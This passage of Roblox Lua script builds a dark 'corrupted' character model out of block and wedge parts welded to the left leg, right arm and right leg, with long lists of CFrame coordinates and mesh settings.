		CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(1.88013721, 0.900040269, 1.65993917, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.415866137, -0.41721642, -0.40188694, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
		CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.88013721, 0.600035727, 1.25993288, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0157161951, -0.717007458, -0.405481935, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
		CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.28007793, 0.700037479, 1.65993929, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.411835551, -0.616776347, -0.00175023079, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
		CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 1.20000005, 0.200000003),CFrame = CFrame.new(2.68018699, 1.10004401, 1.65993941, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.408125639, -0.216332912, 0.397896528, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
		CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.68596959, 0.816166699, 1.25195313, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(5.20944595e-005, -0.499986172, 0.399987936, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
		ScatterEff(EffCorruptedPart)
		RightArm = New("Model",chara,"RightArm",{})
		MainPart = New("Part",RightArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.31690788, -3.92582893, 0.00918400101, -0.262283146, 0.964947343, 0.259330034, 0.932596445, 0.251021653, -0.965745091, 0.247934431, 0.0765828639),CanCollide = false,})
		Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Arm"],C0 = CFrame.new(0, 0, 0, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),C1 = CFrame.new(-2.86102295e-006, -9.05990601e-006, -2.38418579e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
		Hitbox = New("Part",RightArm,"Hitbox",{BrickColor = BrickColor.new("Really black"),Transparency = 1,Transparency = 1,Size = Vector3.new(1, 4, 1),CFrame = CFrame.new(22.2733669, 5.0842762, -22.1737366, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Weld = New("ManualWeld",Hitbox,"Weld",{Part0 = Hitbox,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945257, -0.251027077, -0.0765930116, -0.262290984, 0.93259424, 0.247935042, 0.00919180829, 0.259333313, -0.965744138),C1 = CFrame.new(-1.52587891e-005, -1.00003147, -1.71661377e-005, 0.0091838371, 0.259330064, -0.965745151, -0.262283117, 0.932596445, 0.247934505, 0.964947283, 0.251021653, 0.0765827149),})
		CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.3169179, -3.92581391, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251027018, -0.0765930042, -0.262290984, 0.932594121, 0.247935027, 0.00919180084, 0.259333313, -0.965744197),C1 = CFrame.new(-1.1920929e-005, 1.28746033e-005, 3.57627869e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
		CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.14866924, 6.03215551, -4.72580194, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.699988842, -0.499982834, 7.62939453e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
		CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 0.600000024),CFrame = CFrame.new(2.63876629, 4.02682734, -4.32773018, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(-0.199987888, -2.39999342, 3.02791595e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
		CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.62134135, 7.81954479, -3.94021821, 0.964945078, -0.262291819, -0.00918725226, 0.251029015, 0.932593465, -0.259333432, 0.0765890032, 0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.964944899, 0.251028955, 0.0765889958, -0.262291819, 0.932593465, 0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.399995804, 1.5000124, -2.38418579e-007, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
		CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.35483098, 5.18234444, -4.53787422, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.300010204, -1.29999256, 1.40666962e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
		CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.88730097, 6.99068737, -4.57445002, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.799996853, 0.50001812, 4.29153442e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
		CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.800000072, 0.600000024),CFrame = CFrame.new(2.37646794, 4.9594202, -4.07979012, -0.964945316, -0.262290984, 0.00918756705, -0.251028091, 0.932593942, 0.259333163, -0.0765890256, 0.247935995, -0.965744197),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251028031, -0.0765890107, -0.262290955, 0.932593882, 0.247935966, 0.0091875596, 0.259333193, -0.965744257),C1 = CFrame.new(-0.199994564, -1.39999104, 1.52587891e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
		RightLeg = New("Model",chara,"RightLeg",{})
		MainPart = New("Part",RightLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.29641008, 1.31540966, 0.248092994, 0.00933599845, 0.00110999751, 0.999955773, -0.0030579993, 0.999994755, -0.00108149007, -0.99995178, -0.0030477671, 0.00933934376),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,})
		Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Leg"],C0 = CFrame.new(0, 0, 0, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),C1 = CFrame.new(2.98023224e-008, -8.58306885e-006, 2.38418579e-007, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(2.70045996, 1.61376095, -0.149078026, 0.999955833, 0.00111049914, -0.0093326522, -0.00108199986, 0.999994755, 0.00305823679, 0.00933599938, -0.00304800388, 0.999951839),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955893, -0.00108199986, 0.00933599938, 0.00111049926, 0.999994755, -0.00304800388, -0.0093326522, 0.00305823679, 0.99995178),C1 = CFrame.new(0.400011688, 0.300008655, 0.400000095, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.90071809, 1.81462395, -0.157150015, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(0.400002658, 0.50000751, -0.399999142, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.896873, 1.71584904, 0.243133992, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(4.14252281e-006, 0.400008917, -0.399998784, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(1.89314091, 1.71706903, 0.643112063, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(-0.399993181, 0.400005698, -0.399996519, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		EffCorruptedPart = New("Part",RightLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 1),CFrame = CFrame.new(2.29597116, 0.915416002, 0.249298006, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(1.41263008e-005, -0.399995744, 5.00679016e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.300596, 1.71419013, -0.153122023, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(0.400015235, 0.400005817, 7.39097595e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.69322205, 1.81620288, 0.650299072, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
